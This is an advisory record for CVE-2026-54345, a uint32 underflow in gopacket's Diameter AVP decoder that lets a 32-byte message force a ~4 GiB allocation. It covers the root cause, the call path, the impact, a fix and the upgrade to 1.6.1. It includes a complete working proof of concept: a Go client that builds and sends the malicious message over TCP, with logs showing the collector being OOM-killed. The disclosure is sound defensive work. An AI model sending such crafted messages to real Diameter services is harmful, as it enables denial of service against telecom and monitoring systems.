{"id":"CVE-2026-54345","aliases":["GHSA-6r28-9ppf-4hj5","GO-2026-6121"],"title":"GoPacket's Diameter AVP decoder: uint32 underflow on vendor header size leads to unbounded ~4 GiB allocation (unauthenticated remote DoS)","summary":"GoPacket's Diameter AVP decoder: uint32 underflow on vendor header size leads to unbounded ~4 GiB allocation (unauthenticated remote DoS)","severity":"medium","vendor":"gopacket","product":"github.com/gopacket/gopacket","ecosystem":"go","affected":["github.com/gopacket/gopacket < 1.6.1"],"patched":["github.com/gopacket/gopacket 1.6.1"],"published":"2026-07-28","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:51:10.808500182Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-6r28-9ppf-4hj5","references":[{"url":"https://github.com/gopacket/gopacket/security/advisories/GHSA-6r28-9ppf-4hj5"},{"url":"https://github.com/gopacket/gopacket/commit/145859d0eaee1a6f5925ffb93851c976449c3311"},{"url":"https://github.com/gopacket/gopacket"},{"url":"https://github.com/gopacket/gopacket/releases/tag/v1.6.1"},{"url":"https://github.com/advisories/GHSA-6r28-9ppf-4hj5"}],"tags":["osv","go","ghsa"],"epss":0.0079,"epssPercentile":0.54326,"cwe":["CWE-191","CWE-770"],"ingestedAt":"2026-07-28T16:37:04.516Z","slug":"CVE-2026-54345","body":"## Overview\n\n## Summary\n\nThe Diameter AVP decoder in `github.com/gopacket/gopacket` computes `dataLength := avp.Length - uint32(headerSize)` without first ensuring `avp.Length >= headerSize`. When the Vendor flag is set, `headerSize` is 12, but the only length guard upstream rejects `avp.Length < 8`. An AVP with the Vendor flag set and a 24-bit Length field of 8, 9, 10, or 11 therefore underflows the `uint32` subtraction to ~4,294,967,292, which is passed straight to `make([]byte, dataLength)`. A single 32-byte Diameter message forces a ~4 GiB allocation; a short burst of such messages exhausts memory and OOM-kills memory-constrained collectors. This is an unauthenticated remote denial of service (CWE-191 integer underflow -> CWE-770 unbounded allocation).\n\n## Root cause (file:line @ v1.6.0)\n\n`layers/diameter_avp_decoders.go`, `decodeDiameterAVP`:\n\n```go\navp.Length = uint32(data[5])<<16 | uint32(data[6])<<8 | uint32(data[7]) // 24-bit wire value\n\nif avp.Length < 8 {                       // only rejects < 8\n    return DiameterAVP{}, 0, fmt.Errorf(\"invalid AVP length: %d\", avp.Length)\n}\n\nheaderSize := 8\ndataOffset := 8\nif avp.Flags.Vendor {                     // Vendor flag = wire bit data[4] & 0x80\n    if len(data) < 12 { ... }\n    avp.VendorID = binary.BigEndian.Uint32(data[8:12])\n    headerSize = 12                       // header is now 12, but only >= 8 was checked\n    dataOffset = 12\n}\n\npaddedLength := avp.Length                // equals avp.Length; for avp.Length <= 12\nif avp.Length%4 != 0 { paddedLength = avp.Length + (4 - avp.Length%4) }\nif uint32(len(data)) < paddedLength {     // only requires ~12 bytes present\n    return DiameterAVP{}, 0, fmt.Errorf(\"AVP data truncated: ...\")\n}\n\ndataLength := avp.Length - uint32(headerSize)  // 8 - 12 = uint32 underflow = 4294967292\navp.Data = make([]byte, dataLength)            // make([]byte, ~4.29e9) ~= 4 GiB\ncopy(avp.Data, data[dataOffset:dataOffset+int(dataLength)])  // out-of-bounds slice -> panic\n```\n\nFor `avp.Length` in `{8, 9, 10, 11}` with the Vendor flag set: the `avp.Length < 8` guard passes, `paddedLength == avp.Length` so only `avp.Length` bytes must be present, and `dataLength = avp.Length - 12` underflows the `uint32`. The allocation size is determined entirely by the attacker-supplied 3-byte Length field plus a single flag bit. The `make` executes before the `copy`, so the multi-gigabyte allocation is requested regardless of whether the copy later panics.\n\n## Reachability (remote attacker -> sink)\n\n`LayerTypeDiameter` is a registered decoder (`layertypes.go:159`, `RegisterLayerType(154, ... decodeDiameter)`):\n\n`decodeDiameter` -> `(*Diameter).DecodeFromBytes` (diameter.go:118) -> parses the 20-byte header -> `avpData := data[20:d.MessageLength]` -> AVP loop `decodeDiameterAVP(avpData)` (diameter.go:158) -> sink at `diameter_avp_decoders.go:57`.\n\nDiameter (RFC 6733) is a TCP/SCTP base protocol used for AAA and telecom/5G signaling. Any service that parses Diameter with gopacket (packet collectors, signaling monitors, IDS/analysis tooling) processes attacker-sent or attacker-forwarded Diameter messages with no authentication involved, so any host able to deliver such a message to the parser reaches the sink. The same path is reached via `gopacket.NewPacket(data, LayerTypeDiameter, ...)`. The Diameter layer is specific to this gopacket fork (the original google/gopacket has no Diameter layer), so there is no upstream sibling fix.\n\n## Impact\n\nUnauthenticated remote denial of service via memory exhaustion. Each malicious 32-byte Diameter message requests a ~4 GiB allocation (amplification ~1.34e8x over the input). There is no memory corruption and no code execution -- the impact is resource exhaustion / process termination. Severity assessed as Medium (unauthenticated remote DoS, no memory-safety violation).\n\nNote on consumer behavior (measured end-to-end against a deployed collector, see PoC):\n\n- A collector using the recovering `gopacket.NewPacket(..., gopacket.Default)` API survives a *single* malicious message: the ~4 GiB `make([]byte, dataLength)` runs (in-process `runtime.MemStats` shows a 4096 MB `TotalAlloc` delta per message), but the immediately-following out-of-bounds `copy` panics before the allocator faults in the 4 GiB of physical pages, the panic is recovered into an `ErrorLayer`, and the reservation is reclaimed by the GC. RSS therefore does not commit on a single message.\n- **Two malicious messages in succession reliably OOM-kill the collector** under a 256 MB cap: the second `make` commits physical pages before the first reservation is fully returned to the cgroup, and the kernel cgroup OOM-killer terminates the process (`OOMKilled=true`, exit 137). This was reproduced with two messages sent strictly serially to the single-threaded accept loop (no concurrency required).\n- Consumers that call `DecodeFromBytes` directly (common in performance-sensitive collectors) or set `SkipDecodeRecovery: true` additionally get an uncaught panic / crash on the first message.\n\nIn all cases the underlying defect is the same unbounded ~4 GiB allocation driven by an attacker-controlled field; the only variable is how many messages it takes to exhaust a given memory limit.\n\n## Proof of Concept\n\nThis PoC is an end-to-end test against a real deployed Diameter collector. A minimal but realistic TCP collector (built on the public gopacket API) runs inside a hard-capped 256 MB container; an independent client process sends real malicious Diameter messages over a real TCP socket; the collector process is then observed to die. A benign message is used as a negative control. The harness pins `github.com/gopacket/gopacket@v1.6.0` (the sink is confirmed at the v1.6.0 tag, `layers/diameter_avp_decoders.go:56-58`).\n\n### Collector (real TCP Diameter collector)\n\n```go\n// collector.go — accepts a TCP connection, reads one Diameter message (framed by\n// the 24-bit Message Length in the base header), builds a gopacket.Packet rooted\n// at LayerTypeDiameter and accesses the layer, which drives the registered\n// Diameter decoder over the attacker-controlled bytes.\npackage main\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"os\"\n\n\t\"github.com/gopacket/gopacket\"\n\t\"github.com/gopacket/gopacket/layers\"\n)\n\nfunc readDiameterMessage(conn net.Conn) ([]byte, error) {\n\thdr := make([]byte, 20)\n\tif _, err := io.ReadFull(conn, hdr); err != nil {\n\t\treturn nil, err\n\t}\n\tmsgLen := uint32(hdr[1])<<16 | uint32(hdr[2])<<8 | uint32(hdr[3])\n\tif msgLen < 20 {\n\t\treturn hdr, nil\n\t}\n\tfull := make([]byte, msgLen)\n\tcopy(full, hdr)\n\tif _, err := io.ReadFull(conn, full[20:]); err != nil {\n\t\treturn nil, err\n\t}\n\treturn full, nil\n}\n\nfunc main() {\n\tln, err := net.Listen(\"tcp\", \"0.0.0.0:3868\")\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"listen error: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tdefer ln.Close()\n\tfmt.Printf(\"[collector] Diameter collector listening on tcp %s\\n\", ln.Addr())\n\tfor {\n\t\tconn, err := ln.Accept()\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tfunc() {\n\t\t\tdefer conn.Close()\n\t\t\tdata, err := readDiameterMessage(conn)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tfmt.Printf(\"[collector] received %d-byte Diameter message from %s\\n\", len(data), conn.RemoteAddr())\n\t\t\tpkt := gopacket.NewPacket(data, layers.LayerTypeDiameter, gopacket.Default)\n\t\t\tif d, ok := pkt.Layer(layers.LayerTypeDiameter).(*layers.Diameter); ok {\n\t\t\t\tfmt.Printf(\"[collector] decoded Diameter: version=%d cmd=%d msgLen=%d avps=%d\\n\",\n\t\t\t\t\td.Version, d.CommandCode, d.MessageLength, len(d.AVPs))\n\t\t\t} else {\n\t\t\t\tfmt.Printf(\"[collector] no Diameter layer decoded\\n\")\n\t\t\t}\n\t\t}()\n\t}\n}\n```\n\n### Client (independent process, real TCP socket, no gopacket dependency)\n\nThe client crafts a 20-byte Diameter base header followed by one vendor AVP whose 24-bit Length is `avpLen`. With the Vendor flag set, the decoder's `headerSize` becomes 12; for `avpLen` in `{8,9,10,11}` the `dataLength = avpLen - 12` subtraction underflows. For the benign case `avpLen >= 12` so the AVP carries `avpLen-12` real bytes and parses cleanly.\n\n```go\n// client.go — usage: client <addr> <avpLen> [--benign]\npackage main\n\nimport (\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"net\"\n\t\"os\"\n\t\"strconv\"\n\t\"time\"\n)\n\nfunc be32(v uint32) []byte { b := make([]byte, 4); binary.BigEndian.PutUint32(b, v); return b }\n\nfunc craft(avpLen uint32, benign bool) []byte {\n\tavp := []byte{}\n\tavp = append(avp, be32(1)...) // AVP Code = 1\n\tavp = append(avp, 0x80)       // Flags: Vendor bit set -> headerSize becomes 12\n\tavp = append(avp, byte(avpLen>>16), byte(avpLen>>8), byte(avpLen)) // 24-bit Length\n\tavp = append(avp, be32(0)...) // VendorID\n\tif benign {\n\t\tdataLen := int(avpLen) - 12\n\t\tif dataLen < 0 {\n\t\t\tdataLen = 0\n\t\t}\n\t\tpadded := dataLen\n\t\tif padded%4 != 0 {\n\t\t\tpadded += 4 - padded%4\n\t\t}\n\t\tfor i := 0; i < padded; i++ {\n\t\t\tavp = append(avp, 0x42)\n\t\t}\n\t} else {\n\t\tfor len(avp) < 12 {\n\t\t\tavp = append(avp, 0x00)\n\t\t}\n\t}\n\tmsgLen := uint32(20 + len(avp))\n\thdr := make([]byte, 20)\n\thdr[0] = 0x01 // Version 1\n\thdr[1] = byte(msgLen >> 16)\n\thdr[2] = byte(msgLen >> 8)\n\thdr[3] = byte(msgLen)\n\thdr[4] = 0x80 // Command Flags: Request\n\thdr[5], hdr[6], hdr[7] = 0x00, 0x01, 0x01 // CommandCode 257\n\treturn append(hdr, avp...)\n}\n\nfunc main() {\n\taddr := os.Args[1]\n\tavpLen, _ := strconv.ParseUint(os.Args[2], 10, 32)\n\tbenign := len(os.Args) > 3 && os.Args[3] == \"--benign\"\n\tdata := craft(uint32(avpLen), benign)\n\tconn, err := net.Dial(\"tcp\", addr)\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"dial error: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tdefer conn.Close()\n\tconn.Write(data)\n\tfmt.Printf(\"[client] sent %d-byte Diameter message (avpLen=%d, vendor, benign=%v)\\n\",\n\t\tlen(data), avpLen, benign)\n\tbuf := make([]byte, 1)\n\tconn.SetReadDeadline(time.Now().Add(3 * time.Second))\n\tconn.Read(buf)\n}\n```\n\n### Run and observed result\n\nThe collector runs under a hard 256 MB cgroup cap with swap disabled (`--memory=256m --memory-swap=256m`) so the OOM is contained to the cgroup and the host is unaffected.\n\nNegative control (benign message, vendor AVP `Length=16`, `dataLength=4`):\n\n```\n$ docker run --rm --network diam-net diameter-client-e2e diam-e2e:3868 16 --benign\n[client] sent 36-byte Diameter message (avpLen=16, vendor, benign=true)\n\n# collector log:\n[collector] received 36-byte Diameter message from 172.19.0.3:53216\n[collector] decoded Diameter: version=1 cmd=257 msgLen=36 avps=1\n# collector status: running (ALIVE); RSS flat at 1.5 MiB\n```\n\nAttack message #1 (malicious, vendor AVP `Length=8` -> `8-12` underflow -> ~4 GiB make):\n\n```\n$ docker run --rm --network diam-net diameter-client-e2e diam-e2e:3868 8\n[client] this AVP makes dataLength = 8 - 12 = 4294967292 (uint32 underflow) -> make([]byte, 4294967292) ~= 4.00 GiB\n[client] message sent over real TCP socket\n\n# collector log:\n[collector] received 32-byte Diameter message from 172.19.0.3:53230\n[collector] no Diameter layer decoded\n# collector status after #1: running (the single ~4 GiB make panics on the\n# subsequent out-of-bounds copy and is recovered before physical pages commit);\n# RSS 6.5 MiB\n```\n\nAttack message #2 (same malicious message again):\n\n```\n$ docker run --rm --network diam-net diameter-client-e2e diam-e2e:3868 8\n[client] this AVP makes dataLength = 8 - 12 = 4294967292 (uint32 underflow) -> make([]byte, 4294967292) ~= 4.00 GiB\n[client] message sent over real TCP socket\n\n# container final state:\nStatus=exited OOMKilled=true ExitCode=137\n```\n\nTwo malicious 32-byte Diameter messages, delivered over a real TCP socket to a real gopacket-based collector, terminate the collector process: the kernel cgroup OOM-killer fires (`OOMKilled=true`, exit 137). A single message is recovered by the default decoding API and the process survives, but the second `make([]byte, 4294967292)` commits before the first reservation is reclaimed and exhausts the 256 MB limit. This was reproduced with the two messages sent strictly serially (no concurrency). The benign control on the same collector decodes cleanly and the process stays alive with flat RSS, confirming the attacker-controlled AVP Length underflow is what drives the allocation.\n\nIn-process measurement confirms the per-message allocation: feeding the same 32-byte message through `gopacket.NewPacket(..., gopacket.Default)` shows a `runtime.MemStats` `TotalAlloc` delta of 4096 MB, i.e. the `make([]byte, 4294967292)` genuinely executes on every message before the copy panics.\n\nThe host is unaffected throughout: the allocation is contained by the 256 MB cgroup cap (no swap), and host swap stayed above 900 MB free across the run.\n\n## Affected versions\n\n`github.com/gopacket/gopacket` <= v1.6.0 (v1.6.0 is the latest release; the sink is present at the v1.6.0 tag). The Diameter layer is specific to this module.\n\n## Suggested fix\n\nAfter `headerSize` is finalized (i.e. after the Vendor-flag branch), reject any AVP whose declared Length cannot cover its own header, before computing `dataLength`:\n\n```go\nif avp.Length < uint32(headerSize) {\n    return DiameterAVP{}, 0, fmt.Errorf(\"invalid AVP length: %d, smaller than header size %d\", avp.Length, headerSize)\n}\n```\n\nThis mirrors the existing `avp.Length < 8` check but accounts for the 12-byte vendor header, eliminating the underflow and capping the allocation at the real data size. With this guard the upstream `go test ./layers -run Diameter` suite (9 tests) still passes and valid vendor AVPs parse unchanged.\n\n## Affected packages\n\n- `github.com/gopacket/gopacket < 1.6.1`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `github.com/gopacket/gopacket 1.6.1`","depth":"sunlit","depthScore":28,"depthScoreParts":{"impact":27.5,"likelihood":0.2,"exploitation":0,"ransomware":0},"changes":[]}